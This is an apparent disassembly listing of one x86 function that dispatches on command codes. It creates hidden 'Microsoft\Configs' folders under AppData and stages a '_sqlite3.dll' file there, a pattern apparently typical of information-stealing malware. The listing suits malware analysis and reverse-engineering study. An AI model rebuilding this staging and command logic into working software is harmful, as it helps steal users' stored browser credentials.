Function at 0x45f3a5
Capabilities:
Create directory
Get common file path

Disassembly:
push 0x450
mov eax, 0x481d5f
call fcn.00462feb
mov ebx, ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x450]
and dword [ebp - 0x450], 0
lea ecx, [ebp + 8]
push eax
call fcn.0045c75b
mov eax, dword [ebp - 0x450]
dec eax
cmp eax, 0xe
ja case.0x45f3e0.7
jmp dword [eax*4 + 0x45fe01]
mov ecx, ebx
call fcn.00460083
jmp 0x45fdeb
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
lea ecx, [ebp + 8]
push eax
call fcn.0045c772
lea eax, [ebp - 0x218]
mov ecx, ebx
push eax
call fcn.004601e2
jmp 0x45fdeb
and dword [ebp - 0x43c], 0
push 0x11
call fcn.00461d70
mov esi, eax
mov dword [esp], 0x104
lea eax, [ebp - 0x218]
mov dword [ebp - 0x440], esi
push 0
push eax
mov byte [esi + 0x10], 0
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x43c]
lea ecx, [ebp + 8]
push eax
call fcn.0045c75b
push 0x10
push esi
lea ecx, [ebp + 8]
call fcn.0045c720
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp + 8]
call fcn.0045c772
push 0xe
pop ecx
mov esi, str.LgDError33x98dGetProcAddress
lea edi, [ebp - 0x420]
rep movsd dword es:[edi], dword [esi]
push 0x1ce
lea eax, [ebp - 0x3e6]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.004653c0
mov eax, dword [ebp - 0x43c]
add esp, 0xc
test eax, eax
je 0x45f781
cmp eax, 2
je 0x45f784
cmp eax, 1
jne 0x45f770
lea ecx, [ebp - 0x420]
lea eax, [ebp - 0x218]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x45f500
test dx, dx
je 0x45f4fc
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x45f500
add eax, 4
add ecx, 4
test dx, dx
jne 0x45f4da
xor eax, eax
jmp 0x45f505
sbb eax, eax
or eax, 1
test eax, eax
jne 0x45f742
and dword [ebp - 0x428], eax
mov dword [ebp - 0x424], 7
mov word [ebp - 0x438], ax
push 0x104
push eax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 1
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
push eax
call fcn.00403068
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x438]
call fcn.00402c50
mov esi, str.Microsoft
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.00402c50
cmp dword [ebp - 0x424], 8
lea esi, [ebp - 0x438]
push 0x41
cmovae esi, dword [ebp - 0x438]
lea eax, [ebp - 0x420]
pop ecx
lea edi, [ebp - 0x420]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00406cc2
pop ecx
test eax, eax
jne 0x45f5c8
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x104
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.004653c0
mov esi, str.Configs
push esi
call fcn.00403068
add esp, 0x10
lea ecx, [ebp - 0x438]
push eax
push esi
call fcn.00402c50
cmp dword [ebp - 0x424], 8
lea esi, [ebp - 0x438]
push 0x41
cmovae esi, dword [ebp - 0x438]
lea eax, [ebp - 0x420]
pop ecx
lea edi, [ebp - 0x420]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00406cc2
pop ecx
test eax, eax
jne 0x45f634
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, str._sqlite3.dll
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.00402c50
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004653c0
cmp dword [ebp - 0x424], 8
lea esi, [ebp - 0x438]
push 0x41
cmovae esi, dword [ebp - 0x438]
lea eax, [ebp - 0x218]
pop ecx
lea edi, [ebp - 0x218]
push 0x48d2a4
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00465780
mov edi, eax
add esp, 0x14
test edi, edi
je 0x45f714
push 2
push 0
push edi
call fcn.00464e52
push edi
call fcn.00465265
push edi
mov esi, eax
call fcn.00464a02
add esp, 0x14
cmp esi, 0x7ef40
jle 0x45f714
push dword [ebp - 0x440]
call fcn.0040e9f1
pop ecx
lea ecx, [ebp - 0x444]
call fcn.0045c6ec
push 2
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 2
call fcn.0045c7e9
push 0x12
lea ecx, [ebp - 0x444]
call fcn.0045c7e9
mov ecx, dword [ebx + 0x58]
lea eax, [ebp - 0x444]
push eax
call fcn.00403510
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 1
call fcn.0045c702
jmp 0x45fda1
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp + 8]
call fcn.0045c7b8
push dword [ebp - 0x44c]
lea eax, [ebp - 0x218]
mov ecx, ebx
push dword [ebp - 0x440]
push eax
call fcn.0045ff6e
jmp 0x45fda1
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp + 8]
call fcn.0045c7b8
push dword [ebp - 0x44c]
lea eax, [ebp - 0x218]
mov ecx, ebx
push dword [ebp - 0x440]
push eax
call fcn.0045ff6e
jmp 0x45fdeb
push dword [ebp - 0x440]
call fcn.0040e9f1
pop ecx
jmp 0x45fdeb
cmp eax, 2
sete al
mov ecx, ebx
movzx eax, al
push eax
push dword [ebp - 0x440]
lea eax, [ebp - 0x218]
push eax
call fcn.0045fe3d
jmp 0x45fdeb
mov esi, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x4b99ac
call esi
push 0x10
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp + 8]
call fcn.0045c720
mov edi, 0x4b99c4
mov byte [ebp - 0x424], 0
push edi
call esi
mov ecx, dword [ebx + 0x5c]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x458], eax
lea eax, [ebp - 0x458]
push eax
call fcn.0045ecb7
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [eax]
call edi
mov ecx, esi
call fcn.0046042c
push 0x4b99ac
call edi
jmp 0x45fdeb
mov edi, 0x4b99ac
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x10
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp + 8]
call fcn.0045c720
mov ecx, dword [ebx + 0x5c]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x454], eax
lea eax, [ebp - 0x454]
push eax
mov byte [ebp - 0x424], 0
call fcn.0045ecb7
mov esi, dword [eax]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x43c], eax
lea eax, [ebp - 0x43c]
push eax
mov byte [esi + 0x1c], 0
mov ecx, dword [ebx + 0x5c]
call fcn.0046072d
mov ecx, esi
call fcn.0045ec93
push esi
call fcn.0040e9f1
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x45fdeb
mov esi, 0x4b9994
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov byte [ebp - 0x434], 0
lea edi, [ebp - 0x433]
stosd dword es:[edi], eax
lea ecx, [ebp + 8]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x434]
push eax
call fcn.0045c720
mov ecx, dword [ebx + 0x5c]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x45c]
push eax
call fcn.0045ecb7
mov ecx, dword [eax]
call fcn.0045f37a
push esi
jmp 0x45f879
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
lea ecx, [ebp + 8]
push eax
call fcn.0045c772
and dword [ebp - 0x43c], 0
lea eax, [ebp - 0x43c]
push eax
lea ecx, [ebp + 8]
call fcn.0045c75b
push dword [ebp - 0x43c]
lea eax, [ebp - 0x218]
mov ecx, ebx
push eax
call fcn.0045edb9
jmp 0x45fdeb
push 0xff
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x210]
lea ecx, [ebp + 8]
push eax
call fcn.0045c772
lea eax, [ebp - 0x210]
mov ecx, ebx
push eax
call fcn.0045ed50
jmp 0x45fdeb
xor eax, eax
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push eax
call fcn.004653c0
xor eax, eax
push esi
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.004653c0
and dword [ebp - 0x428], 0
xor eax, eax
add esp, 0x18
mov dword [ebp - 0x424], 7
mov word [ebp - 0x438], ax
and dword [ebp - 0x440], eax
lea ecx, [ebp + 8]
lea eax, [ebp - 0x420]
mov byte [ebp - 4], 3
push eax
call fcn.0045c772
lea eax, [ebp - 0x440]
push eax
lea ecx, [ebp + 8]
call fcn.0045c75b
xor edi, edi
cmp dword [ebp - 0x440], edi
jle 0x45fab2
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
lea ecx, [ebp + 8]
push eax
call fcn.0045c772
lea eax, [ebp - 0x218]
push eax
call fcn.0046090a
mov esi, eax
lea eax, [ebp - 0x420]
push eax
call fcn.00403068
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x438]
call fcn.00402c50
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.00402c50
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
mov ecx, ebx
cmovae eax, dword [ebp - 0x438]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0045efa2
push esi
call fcn.0040e9f1
and dword [ebp - 0x428], 0
lea eax, [ebp - 0x438]
cmp dword [ebp - 0x424], 8
pop ecx
cmovae eax, dword [ebp - 0x438]
xor ecx, ecx
inc edi
mov word [eax], cx
cmp edi, dword [ebp - 0x440]
jl 0x45f9f3
lea eax, [ebp - 0x440]
push eax
lea ecx, [ebp + 8]
call fcn.0045c75b
and dword [ebp - 0x43c], 0
cmp dword [ebp - 0x440], 0
jle 0x45fbb9
mov edi, 0x483d38
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
lea ecx, [ebp + 8]
push eax
call fcn.0045c772
lea eax, [ebp - 0x218]
push eax
call fcn.0046090a
mov esi, eax
lea eax, [ebp - 0x420]
push eax
call fcn.00403068
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x438]
call fcn.00402c50
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x438]
call fcn.00402c50
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.00402c50
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
mov ecx, ebx
cmovae eax, dword [ebp - 0x438]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0045efa2
push esi
call fcn.0040e9f1
and dword [ebp - 0x428], 0
lea eax, [ebp - 0x438]
cmp dword [ebp - 0x424], 8
pop ecx
cmovae eax, dword [ebp - 0x438]
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp eax, dword [ebp - 0x440]
jl 0x45fada
push 0
push 1
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0
call fcn.00402b64
lea ecx, [ebp - 0x44c]
call fcn.0045c6ec
push 2
lea ecx, [ebp - 0x44c]
mov byte [ebp - 4], 4
call fcn.0045c7e9
push 0xd
lea ecx, [ebp - 0x44c]
call fcn.0045c7e9
mov ecx, dword [ebx + 0x58]
jmp 0x45fdd0
xor eax, eax
mov esi, 0x1fc
push esi
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004653c0
xor eax, eax
push esi
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.004653c0
add esp, 0x18
lea eax, [ebp - 0x210]
lea ecx, [ebp + 8]
push eax
call fcn.0045c772
lea eax, [ebp - 0x43c]
push eax
lea ecx, [ebp + 8]
call fcn.0045c745
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp + 8]
call fcn.0045c772
lea eax, [ebp - 0x418]
mov ecx, ebx
push eax
push dword [ebp - 0x43c]
lea eax, [ebp - 0x210]
push eax
call fcn.0045ee98
jmp 0x45fdeb
and dword [ebp - 0x43c], 0
lea eax, [ebp - 0x43c]
push eax
lea ecx, [ebp + 8]
call fcn.0045c75b
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.004653c0
mov eax, dword [ebp - 0x43c]
xor ecx, ecx
add esp, 0xc
or esi, 0xffffffff
sub eax, ecx
je 0x45fced
dec eax
je 0x45fce9
dec eax
je 0x45fce5
dec eax
je 0x45fce1
dec eax
je 0x45fcdd
dec eax
je 0x45fcd9
dec eax
jne 0x45fcf0
push 0x1a
jmp 0x45fcef
push 0xe
jmp 0x45fcef
push 0xd
jmp 0x45fcef
push 0x27
jmp 0x45fcef
push 5
jmp 0x45fcef
mov esi, ecx
jmp 0x45fcf0
push 0x25
pop esi
lea eax, [ebp - 0x218]
push eax
push ecx
push ecx
push esi
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
and dword [ebp - 0x428], 0
mov dword [ebp - 0x440], eax
xor eax, eax
mov dword [ebp - 0x424], 7
mov word [ebp - 0x438], ax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 5
push eax
call fcn.00403068
pop ecx
push eax
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x438]
push eax
call fcn.00402c50
cmp esi, 0x1a
jne 0x45fd5a
mov esi, str.ConfigsEx_
push esi
call fcn.00403068
pop ecx
push eax
push esi
jmp 0x45fd68
mov edi, 0x483d38
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x438]
call fcn.00402c50
cmp dword [ebp - 0x440], 0
mov ecx, ebx
jl 0x45fd9a
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
call fcn.004601e2
jmp 0x45fda1
push 0
call fcn.00460172
push 0
push 1
lea ecx, [ebp - 0x438]
call fcn.00402b64
jmp 0x45fdeb
lea ecx, [ebp - 0x44c]
call fcn.0045c6ec
push 0xffffffffffffffff
lea ecx, [ebp - 0x44c]
mov byte [ebp - 4], 6
call fcn.0045c7e9
mov ecx, ebx
lea eax, [ebp - 0x44c]
push eax
call fcn.00403510
lea ecx, [ebp - 0x44c]
mov byte [ebp - 4], 0
call fcn.0045c702
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0045c6f6
call fcn.00462f9a
ret 0xc